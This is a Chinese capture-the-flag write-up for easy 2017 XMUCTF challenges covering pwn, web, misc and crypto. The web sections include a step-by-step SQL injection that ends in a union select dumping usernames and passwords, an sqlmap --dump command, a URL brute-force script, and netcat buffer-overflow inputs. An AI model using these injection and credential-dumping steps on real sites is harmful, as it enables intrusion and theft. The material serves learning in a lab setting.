• 【wp】2017XMUCTF水题解答


    |-----@PWN
    |----------@under
    |----------@Welcome flag0
    |-----@WEB
    |----------@Source Code
    |----------@JS.RAR
    |----------@Web机器人
    |----------@Easy injection
    |----------@Login
    |-----@MISC
    |----------@0w0
    |----------@tail
    |----------@WordSecret
    |----------@keyborad
    |-----@CRYPTO
    |----------@颠倒
    |----------@chaos
    |----------@贝斯家族
    |----------@morse
    |----------@这都什么鬼
    |----------@DECrypt
    声明:因为水平有限,只能做做水题这样子。如有谬误,欢迎指出。如有它解,敬请留言。

    PWN

    under

    ```shell python -c "print 'a'*31" | nc pwnbox.target.com 17240 #在Linux终端执行以上代码 #python -c cmd : program passed in as string #即用来方便地执行仅有一个字符串的python程序 #'|'为重定向运算符,将其前面的运算结果作为其后面运算的输入 #nc — arbitrary TCP and UDP connections and listens #The nc (or netcat) utility is used for just about anything under the sun involving TCP, UDP, or UNIX-domain sockets. #pwn题大多用nc连接运行有漏洞服务并开启nc监听的远程机器,并传输数据。本题连接的是域名为pwnbox.target.com的主机的17240端口。 #以上命令意为用python生成长度为31的由'a'组成的字符串,然后用nc连接并发送该字符串到pwnbox.target.com的17240端口。 ``` 超过30个字符都可以

    Welcome flag0

    ```shell $ python -c "print 'a'*40" | nc pwnbox.target.com 17012 Welcome to XMU CTF! What's your name? Hello! aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa! Goodbye~ Stack smashed? ``` 字符串较长时提示`Stack smashed`,较少时则不会,可折半查找。长度为37,38,或39时可得到flag。

    WEB

    Source Code

    右键查看源代码,大家都做出来了。

    JS.RAR

    文件无法解压,看看它到底是什么 ```shell $ file js.rar js.rar: ASCII text, with very long lines, with no line terminators ``` 发现并它不是rar文件,只是个字符串。用notepad++打开发现是jsf*ck的代码,放到chrome的console里运行,弹出flag。

    Web机器人

    根据提示访问http://targetDomain:25070/robots.txt 看到如下内容: > User-agent: * Disallow: /where_?s_f??g.txt Disallow: /lower_case_0r_Number Disallow: /tips:python requests

    容易明白是要爆出三个问号所代表的字符,并且该字符是[0-9a-z]。显然最后应该是类似/where_is_flag.txt的东西,以下是python脚本:

    import requests
    import time
    #where_1s_fl4g.txt
    def trytry():
        pool='0123456789abcdefghijklmnopqrstuvwxyz'
        #pool='014lai'
        n=0
        jindu=''
        total=float(36**3)
        for x1 in pool:
            for x2 in pool:
                for x3 in pool:
                    url='http://targetDomain:25070/where_'+x1+'s_f'+x2+x3+'g.txt'
                    n+=1
                    jindu+='#'
                    if(n%80==0):
                    	print jindu+str(n/total*100)+'%'
                    	jindu=''
                    try:
                    	r=requests.get(url)
                    	if r.status_code==200:
                    		print url,"succeed"
                    		return 0
                    except Exception as e:
                    	print url,"something wrong"
    
    if __name__ == '__main__':
        trytry()
    

    这个脚本是很慢的,换道题可能啥也跑不出来。所幸只要不把小写字母放前面的话这道题可以很快跑出来。其他方法的话可以用多线程实现,也可以用burp爆破,或者如果你很机智,可以用脚本里注释部分的pool:)

    Easy injection

    1. 确定注入点 * 首先访问给定链接`http://targetDomain/xmuctf/index.php?id=1`,返回正常 * 加单引号验证,访问`http://targetDomain/xmuctf/index.php?id=1'`,返回error,此处很大可能存在过滤不严 * 分别访问`http://targetDomain/xmuctf/index.php?id=1 and 1=1`和`http://targetDomain/xmuctf/index.php?id=1 and 1=2`,发现页面返回内容不同,判断存在基于布尔的盲注 2. 由于联合查询需要前后字段数一致,所以先确定字段数 从一个较大的可能字段数开始,折半查找,依次访问如下链接 * `http://targetDomain/xmuctf/index.php?id=1 order by 10`报错 * `http://targetDomain/xmuctf/index.php?id=1 order by 5`报错 * `http://targetDomain/xmuctf/index.php?id=1 order by 3`返回正常 * `http://targetDomain/xmuctf/index.php?id=1 order by 4`报错 由此得出该查询字段数为3。 3. 利用联合查询爆出用户名密码 `http://targetDomain/xmuctf/index.php?id=1 union select user,pwd,null from users` 查询密码哈希对应明文 前往`http://targetDomain/xmuctf/login.php`登陆即可在服务器基本信息中看到flag。 备注:还可使用sqlmap工具得到用户名密码。执行`python sqlmap.py -u "http://targetDomain/xmuctf/index.php?id=1" --dump`即可。

    Login

    题目提示只有登陆后才可以看的header-flag,故burp抓包,在请求头中添加`Login:1`名值对,在响应头中可以看到flag。

    MISC

    0w0

    用`$binwalk -e 0w0.jpg`提取出包含的文件,名为flag的压缩包里就有flag。

    tail

    flag一半在图片属性里,一半在文件尾,连起来后再做一次rot13变换即得到flag。

    WordSecret

    出题人感到很无语,用notepad++直接打开即能看到隐藏的flag。

    keyborad

    来自chybeta大神的脑洞题,ctforz...

    CRYPTO

    颠倒

    签到,没什么好说

    chaos

    1. hex->ascii:`c3ludHtWWXZ4M0taSF9+WjR4M2ZaclU0Y2M3fQ==` 2. base64_decode:`synt{VYvx3KZH_~Z4x3fZrU4cc7}` 3. rot13:`flag{ILik3XMU_~M4k3sMeH4pp7}`

    贝斯家族

    base64,base32,base16按顺序来一遍

    morse

    摩斯密码解密后是一个混入奇怪东西的md5串,把其中的`I`换成`1`后md5解密即可。

    这都什么鬼

    已知私钥和密文,用openssl解密即可

    DECrypt

    把用`808`分隔开的十进制数分别转成对应的ascii码即是flag内容。 ```python import sys pad='808' s='71808111808111808100808958081068081118089880895808121808111808117808958081038081118081168089580810580811680833808'; print ''.join(chr(int(x))for x in s.strip(pad).split(pad)) ```
  • 相关阅读:
    经典排序算法
    浅谈C++继承
    进程间通信
    我在其它博客写文章
    git 版本回退
    vmware machine 虚拟机无法启动 Credential Guard 或 Device Guard
    我的头像制作过程
    vs安装qt5后打开qt4创建的 .pro 文件提示找不到头文件的解决方法
    [转]手动安装 Eclipse 插件 Viplugin
    装好 JDK 配置环境变量
  • 原文地址:https://www.cnblogs.com/findneo/p/6883870.html
Copyright © 2020-2023  润新知